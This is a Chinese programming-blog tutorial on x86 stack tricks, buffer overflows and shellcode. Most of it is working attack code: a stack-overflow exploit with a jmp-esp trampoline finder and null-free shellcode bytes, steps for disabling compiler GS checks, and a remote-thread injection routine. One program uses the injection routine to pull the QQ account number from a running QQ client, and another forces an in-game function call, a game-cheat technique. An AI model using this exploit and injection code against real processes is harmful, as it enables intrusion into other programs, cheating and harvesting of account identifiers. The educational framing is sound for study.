shellcode,缓冲区溢出漏洞及 远程调call

14 篇文章 6 订阅
13 篇文章 7 订阅

1.隐藏堆栈调用

在学习shellcode之前,

我们先利用之前已经学习过的知识来构造一个有意思的调用,当然这是建立在学习完毕我们前面的堆栈课程的前提下.

例如我们正常调用过程如下:

main---->func2---->func1---->func0

那么,毫无疑问,在堆栈中会出现3个返回到地址,分别是:

main call func2的时候push的eip 也就是执行完毕func2返回到main函数的地址.

func2 call func1的时候push的eip 也就是执行完毕func1返回到func2函数的地址.

func1 call func0的时候push的eip 也就是执行完毕func0返回到func1函数的地址.

我们现在依然要实现这样的调用顺序,但是不让堆栈中出现返回到,也是直接ctrl+F9查看不到完整的调用过程.

那么怎么做呢?

流程和原理其实很容易,main函数正常调用func2,只要我们在执行完毕func2的时候将eip修改指向func1

func1执行完毕的时候将eip修改指向func0, 然后func0执行完毕让其顺利返回main函数即可.

这个过程很简单,唯独容易出错的地方仅仅在于维护好堆栈也就是esp以及保存好返回main函数的地址以及ebp.

esp错误堆栈不平衡肯定会崩溃,

main函数返回地址不对,程序肯定错乱,

ebp错误的话,肯定会影响main函数后面的代码以及调用main函数的代码.

所以这3点一定要注意!

那么我们来代码实现:



DWORD preturnmain;
DWORD returnmainebp;
typedef void (*PFUNC)();
void func0();
void func1();
void func2();
PFUNC m_pfunc0 = func0;
PFUNC m_pfunc1 = func1;
PFUNC m_pfunc2 = func2;



void func0()
{
cout << "func0" << endl;
DWORD falseret;
__asm
{
mov esp, ebp
pop  falseret
push preturnmain
mov ebp, returnmainebp//但是最后一层返回是需要给main函数正确的ebp的否则   main函数会出错
ret
}

}

void func1()
{
//进到这个call 我们需要注意
//我们不是call进来的   而是push地址ret 相当于eip直接指进来的  所有没有push eip  堆栈里没有返回到这一条
//而且我们调用不会原路返回所以不需要保存ebp
cout << "func1" << endl;
DWORD falseret;
__asm
{
mov esp,ebp//所以EBP指向的位置 下一条没有返回到的地址   而又不需要保存ebp 这条就当返回到用了
pop  falseret//弹出假的返回地址
push func0
ret
}
}

void func2()
{
cout << "func2" << endl;
__asm
{
mov esp,ebp
pop returnmainebp
pop preturnmain

push func1
ret
}
}

int main()
{
cout << m_pfunc2 << endl;//输出 func2的地址 方便我们OD观察调试
cin.get();
func2();
cout << "main" << endl;

return 0;

}

备注写的很清晰

这样的调用方式不能通过堆栈或则ctrl+f9直接看到完整调用过程了,只能F7单步逆向流程

例如func2内ctrl+F9 就到了func1内, 这和正常的ctrl+f9的理解是不一样的

func0内 ctrl+f9 直接就到了main函数

如果我们把所有调用流程写成这样,将对防护,防破解以及反外挂都会起到很大作用!

同时利用缓冲区溢出漏洞进行shellcode攻击也用到了以前上的原理.

说的简单点就是修改了eip,让cpu执行我们的代码.

2.缓冲区溢出漏洞

栈溢出原理:

很多程序都会接受用户的外界输入,尤其是当函数内的一个数组缓冲区接受用户输入的时候,一旦程序代码未对输入的长度进行合法性检查的话,缓冲区溢出便有可能触发!

比如下边的一个简单的函数:

void  stackoverflow(char* arg1)//函数中存在缓存区溢出漏洞
{
char buffer[8];
strcpy(buffer, arg1);
DWORD old;
VirtualProtect((PVOID)buffer, 200, PAGE_EXECUTE_READWRITE, &old);// 这里模拟已经提升好可执行权限

printf("%s", buffer);
getchar();

}

由于strcpy_s内部判断了拷贝大小加了溢出保护,如果想上面的例子堆栈溢出,必须使用strcpy,可以加上以下代码:

#define _CRT_SECURE_NO_WARNINGS 1

#pragma warning(disable:4996) //忽略警告

这个函数分配了8个字节的缓冲区,然后通过 strcpy 函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于 8的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。

我们详细学习过堆栈的排列方式

buffer是局部变量,地址是堆栈地址,当strcpy超过他的8字节以后,会覆盖堆栈下面的数据

下面分别是其他局部变量,然后是ebp,然后是返回地址,然后是参数.

我们只要把返回地址覆盖成我们要执行的代码地址,就可以让该函数返回的时候去顺利执行我们的代码了.

3.什么是shellcode

上面我们利用缓冲区溢出漏洞通过覆盖返回地址,让他CPU去对应位置执行我们的代码

我们的代码要以二进制数据的形式写到内存中.

这段既是代码又是数据的二进制数据被称为 Shellcode.

其实shellcode就是一段可执行的二进制代码.也就是机器语言.我们写好的代码反编译成二进制即可.不过这段代码有很多要求

比如不能有参数等等,我们在编写过程中摸索,

比如不能使用全局变量

不能用字符串,因为也是全局常量,需要使用可以写成字符数组,就是局部变量了

上述缓冲区溢出漏洞,肯定是从外部攻击的,shellcode肯定要写到目标进程的内存中

我们可以在目标进程远程申请内存写入,也可以直接在堆栈中构造

既然缓冲区溢出可以覆盖返回到的地址,同样也可以把我们的shellcode覆盖到堆栈中

到时候覆盖到堆栈中的shellcode 地址是 确定不了的,如果想确定地址 很麻烦,那么怎么办呢?

我们可以借助跳板

原理很简单:

我们堆栈从缓冲区覆盖成这样

缓冲区及其他局部变量地址 及ebp==== 覆盖成任意值

返回到 ====覆盖成跳到一句 jmp esp的指令

返回到下面也就是arg1开始 ====覆盖成我们的shellcode

这样在函数返回的时候 会跳转到jmp esp这条指令 ,而这条指令 又会跳到我们的shellcode去直接

这句 jmp esp就是跳板

4.寻找shellcode跳板

我们到系统模块中搜索一个这样的指令即可


DWORD findjmpesp()
{

HMODULE user32Handle = LoadLibraryA("user32");

BYTE* ptr = (BYTE*)user32Handle;

for (int i = 0;; i++)
{
try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
cout << hex;
cout << "跳板地址:"<<(DWORD)((int)ptr + i) << endl;
return (DWORD)((int)ptr + i);
}
}
catch (...)
{

}
}
}

这样我们就可以构造shellcode了

shellcode用到的API函数我们先以常量书写,后面我们在编写通用方式.

void  getapiaddr()
{
HMODULE user32Handle = LoadLibraryA("user32");//0x774A0000
cout <<"user32.dll模块句柄:"<< user32Handle << endl;
FARPROC pMessageBoxA = GetProcAddress(user32Handle, "MessageBoxA");//0x77520BA0
cout << "MessageBoxA函数地址:"<<pMessageBoxA << endl;
HMODULE kernel32Handle = LoadLibraryA("kernel32");//0x75ED0000
cout << "kernel32.dll模块句柄:"<<kernel32Handle << endl;
FARPROC pExitProcess = GetProcAddress(kernel32Handle, "ExitProcess");//0x75EF4100
cout << "ExitProcess函数地址:"<< pExitProcess << endl;

}

5.编写shellcode

准备工作完成,我们开始编写shellcode

_asm
{
sub esp, 0x50 
xor ebx,ebx

push 0x0021C9B7
push 0xF1C4CEC8 // push "C8 CE C4 F1 B7 C9 21 00"
mov eax, esp   //标题字符串指针

        push 0x00 
push 0x21D5B1D8
push 0xB9ABBDB4
push 0xBC21F7BB
push 0xA5B9BBB1   // push "B1 BB B9 A5 BB F7 21 BC B4 BD AB  B9 D8 B1 D5 21"
mov ecx, esp      //内容字符串指针  

push ebx
push eax
push ecx
push ebx 
mov eax, 0x77520BA0
call eax        // call MessageBox
push ebx 
mov eax, 0x75EF4100
call eax       // call ExitProcess
}

这里面需要注意的问题

我们的shellcode 不能有00,否则 strcpy 会提前结束,所以 上面的代码中有字符串00结尾,需要我们修改成其他的代码形式

字符串结尾的00用 寄存器ebx替代

00结尾的常量0x75EF4100

我们写成0x75EF4112

再sub 0x12

改成

这样就没有00了

_asm
{
sub esp, 0x50 
xor ebx,ebx

push ebx
push 0x2121C9B7
push 0xF1C4CEC8 // push "C8 CE C4 F1 B7 C9 21 00"
mov eax, esp   //标题字符串指针

push ebx
push 0x21D5B1D8
push 0xB9ABBDB4
push 0xBC21F7BB
push 0xA5B9BBB1   // push "B1 BB B9 A5 BB F7 21 BC B4 BD AB  B9 D8 B1 D5 21"
mov ecx, esp      //内容字符串指针  

push ebx
push eax
push ecx
push ebx 
mov eax, 0x77520BA0
call eax        // call MessageBox
push ebx 
mov eax, 0x75EF4112
        sub eax,0x12
call eax       // call ExitProcess
}

然后我们把 汇编代码转成二进制机器码也就是shellcode

{0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,

0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,

0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,

0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,

0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0}

我们填写的缓冲区数据

除了shellcode

还有前面的可以随便填写的局部变量 和要填写的返回地址0x7755c02b

所以完整的字节集如下

局部变量空间有多大要我们OD附加查看以及不断调整测试

{

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41

,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41

,0x2B,0xC0,0x55,0x77,

0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,

0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,

0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,

0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,

0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0}

这个时候会出错

原因是函数内部是有一个占位的局部变量[ebp-4]

他会检测是否为CC,如果为CC说明正常,如果不为CC 则说明有变量越界

那么我们把

这个位置改成CC

同时vs的GS检测 还会检测我们的ebp值是否正确, 我们这里先直接关掉

右键----C/C++----代码生成----安全检查----禁用安全检查GS-

char shellcode[] =

{

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41

,0xCC,0xCC,0xCC,0xCC,0x41,0x41,0x41,0x41

,0x2B,0xC0,0x55,0x77,

0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,

0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,

0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,

0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,

0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0 };

完整代码如下:




#define _CRT_SECURE_NO_WARNINGS 1
#pragma warning(disable:4996)


DWORD findjmpesp()
{

HMODULE user32Handle = LoadLibraryA("user32");

BYTE* ptr = (BYTE*)user32Handle;

for (int i = 0;; i++)
{
try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
cout << hex;
cout << "跳板地址:"<<(DWORD)((int)ptr + i) << endl;
return (DWORD)((int)ptr + i);
}
}
catch (...)
{

}
}
}

void  getapiaddr()
{
HMODULE user32Handle = LoadLibraryA("user32");//0x774A0000
cout <<"user32.dll模块句柄:"<< user32Handle << endl;
FARPROC pMessageBoxA = GetProcAddress(user32Handle, "MessageBoxA");//0x77520BA0
cout << "MessageBoxA函数地址:"<<pMessageBoxA << endl;

HMODULE kernel32Handle = LoadLibraryA("kernel32");//0x75ED0000
cout << "kernel32.dll模块句柄:"<<kernel32Handle << endl;
FARPROC pExitProcess = GetProcAddress(kernel32Handle, "ExitProcess");//0x75EF4100
cout << "ExitProcess函数地址:"<< pExitProcess << endl;
}

char shellcode[] =
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0xCC,0xCC,0xCC,0xCC,0x41,0x41,0x41,0x41
,0x2B,0xC0,0x55,0x77,
0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0 };



void  stackoverflow(char* arg1)//函数中存在缓存区溢出漏洞
{
char buffer[8];
strcpy(buffer, arg1);

DWORD old;
VirtualProtect((PVOID)buffer, 200, PAGE_EXECUTE_READWRITE, &old);// 这里模拟已经提升好可执行权限

printf("%s", buffer);
getchar();

}



int main()
{

DWORD pjmpespr = findjmpesp();
DWORD old1 = 0;
VirtualProtect((PVOID)pjmpespr, 200, PAGE_EXECUTE_READWRITE, &old1);//正常找一块可执行的位置
getapiaddr();

cout << "stackoverflow函数地址:"<<stackoverflow << endl;
cin.get();
stackoverflow(shellcode);
return 0;


}

6.shellcode锻炼,X64替代内联汇编

要求,我们把加法运算写成shellcode调用

__asm

{

push ebp

mov ebp, esp

sub esp, 10h

push ecx

mov eax, [ebp + 8]

mov ecx, [ebp + 0xC]

add eax, ecx

pop ecx

mov esp, ebp

pop ebp

ret

}


//push ebp
//mov ebp, esp
//sub esp, 10h
//push ecx
//mov eax, [ebp + 8]
//mov ecx, [ebp + 0xC]
//add eax, ecx
//pop ecx
//mov esp, ebp
//pop ebp
//ret
typedef int (*PFN)(int, int);
int main()
{
char code[] =
{
0x55,0x8B,0xEC,0x83,0xEC,0x10 ,0x51 ,0x8B ,0x45 ,0x08 ,0x8B ,0x4D ,0x0C ,0x03 ,0xC1 ,0x59 ,0x8B ,0xE5 ,0x5D ,0xC3
};
PFN pfn = (PFN)((char*)code);
DWORD old = 0;
VirtualProtect((PVOID)code, 100, PAGE_EXECUTE_READWRITE, &old);
int fnret = pfn(1, 2);
cout << fnret << endl;

return 0;

我们发现这样X64可以不写内联汇编用shellcode替代

7.远程shellcode注入

当我们不注入的时候,可以跨进程远程shellcode注入执行命令或则调call

流程很简单

就是远程申请内存,写入我们的shellcode

然后远线程执行

例如跨进程获取我们的企鹅号

代码如下,备注很详细:



void getPushBin(int arg, LPVOID & pShellCode, HANDLE hProcess)
{
if (arg >= -128 && arg <= 127)//例如push  1  两字节
{
unsigned char code = { 106 };
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
}
else {
unsigned char code = { 104 };//例如push  1111  4字节
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
}
void getCallBin(int Calladdr, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 232 };// call  xxxx
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
int arg = Calladdr - (int)pShellCode - 5;
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
void getmovecxBin(int arg, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 185 };// mov ecx,xxxx
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}


void getresEaxBin(int src, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 163 };
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&src, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
DWORD CallFunction(HANDLE hProcess, DWORD pFunc, DWORD arg1 = 0, DWORD arg2 = 0, DWORD arg3 = 0, DWORD arg4 = 0, DWORD arg5 = 0, DWORD arg6 = 0, DWORD ecx = 0);
DWORD CallFunction(HANDLE hProcess, DWORD pFunc, DWORD arg1 , DWORD arg2 , DWORD arg3 , DWORD arg4 , DWORD arg5 , DWORD arg6 , DWORD ecx )
{
LPVOID pShellCodeStart = VirtualAllocEx(hProcess, NULL, 0x200, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID pShellCode = pShellCodeStart;
LPVOID resEax = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//构造call头部
//push ebp
//mov ebp, esp
//sub esp, 0x3c
unsigned char pfunHead[6] = { 85,139,236,131,236,60 };
SIZE_T codelen = sizeof(pfunHead);
WriteProcessMemory(hProcess, pShellCode, pfunHead, codelen, NULL);
pShellCode = LPVOID((DWORD)pShellCode + codelen);

getPushBin(arg6, pShellCode, hProcess);
getPushBin(arg5, pShellCode, hProcess);
getPushBin(arg4, pShellCode, hProcess);
getPushBin(arg3, pShellCode, hProcess);
getPushBin(arg2, pShellCode, hProcess);
getPushBin(arg1, pShellCode, hProcess);

//构造ecx
getmovecxBin(ecx, pShellCode, hProcess);


//构造call 
getCallBin(pFunc, pShellCode, hProcess);
 
//构造 mov dword[resEax], eax
getresEaxBin((int)resEax, pShellCode, hProcess);

//构造尾部
//add esp, 0x3c
//mov esp, ebp
//pop ebp
//ret
unsigned char pfunEnd[] = { 131,196,60,139,229,93,195 };
codelen = sizeof(pfunEnd);
WriteProcessMemory(hProcess, pShellCode, pfunEnd, codelen, NULL);
pShellCode = LPVOID((int)pShellCode + codelen);


//创建远程线程 执行代码
DWORD Tid;
HANDLE tHandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pShellCodeStart, NULL, NULL, &Tid);
if (!tHandle)
{
VirtualFreeEx(hProcess, resEax, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pShellCodeStart, 0, MEM_RELEASE);
cout << "执行call失败!" << endl;
return -1;
}
WaitForSingleObject(tHandle, -1);//等待执行结束

int resa = 0;
ReadProcessMemory(hProcess, resEax, &resa, 4, 0);
VirtualFreeEx(hProcess, resEax, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pShellCodeStart, 0, MEM_RELEASE);
return resa;
}

int main()
{


DWORD PID = 0;
HWND tempHGame = ::FindWindowA(0, "QQ");//TXGuiFoundation,QQ
while (tempHGame != 0)//遍历多开QQ
{
GetWindowThreadProcessId(tempHGame, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
HMODULE hModule = LoadLibraryA("kernel32.dll");//同电脑加载地址相同
DWORD pGetModuleHandleA = (DWORD)GetProcAddress(hModule, "GetModuleHandleA");
DWORD pGetProcAddress = (DWORD)GetProcAddress(hModule, "GetProcAddress");

//QQKernelUtil.dll模块下的?GetSelfUin@Contact@Util@@YAKXZ函数返回QQ号
char dllName[] = "KernelUtil.dll";
char funName[] = "?GetSelfUin@Contact@Util@@YAKXZ";
LPVOID pDllName = VirtualAllocEx(hProcess, NULL, sizeof(dllName), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//进程句柄,NULL自动分配,大小,为特定的页面区域分配内存中或磁盘的页面文件中的物理存储,页面属性
WriteProcessMemory(hProcess, pDllName, &dllName, sizeof(dllName), 0);
LPVOID pFunName = VirtualAllocEx(hProcess, NULL, sizeof(funName), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pFunName, &funName, sizeof(funName), 0);

DWORD kernelMoudle = CallFunction(hProcess, pGetModuleHandleA, (DWORD)pDllName);//执行GetModuleHandleA 参数"KernelUtil.dll"返回句柄
DWORD pGetSelfUin = CallFunction(hProcess, pGetProcAddress, kernelMoudle, (DWORD)pFunName);
//调用GetProcAddress  参数1 KernelUtil.dll模块句柄  参数2 字符串"?GetSelfUin@Contact@Util@@YAKXZ"  返回?GetSelfUin@Contact@Util@@YAKXZ的地址
DWORD qq = CallFunction(hProcess, pGetSelfUin);//调用?GetSelfUin@Contact@Util@@YAKXZ 无参数  返回QQ号

CloseHandle(hProcess);
cout << "QQ:"<<qq<<endl;
tempHGame = ::FindWindowExA(NULL, tempHGame, 0, "QQ");
}

cin.get();
return 0;

}

8.远程调用call

例如:

打坐call

push 1

mov eax,[00D0DF1C]

mov ecx,[eax+1c]

mov ecx,[ecx+28]

mov eax,0x0047E7E0

call eax

int main()
{
DWORD PID = 0;
HWND tempHGame = ::FindWindowA(0, "口袋西游");//XYElementClient Window,口袋西游
while (tempHGame != 0)
{
GetWindowThreadProcessId(tempHGame, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
DWORD ecx;
DWORD Temp;
ReadProcessMemory(hProcess,(LPCVOID)0x00D0DF1C,&ecx,4,&Temp);
ReadProcessMemory(hProcess, (LPCVOID)(ecx+0x1c), &ecx, 4, &Temp);
ReadProcessMemory(hProcess, (LPCVOID)(ecx + 0x28), &ecx, 4, &Temp);
cout << hex;
cout << "ecx=" << ecx << endl;

CallFunction(hProcess, 0x0047E7E0,1,0,0,0,0,0,ecx);

CloseHandle(hProcess);
cout << "执行完毕"<< endl;
tempHGame = ::FindWindowExA(NULL, tempHGame, 0, "口袋西游");
}

cin.get();
return 0;
}

打坐成功

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值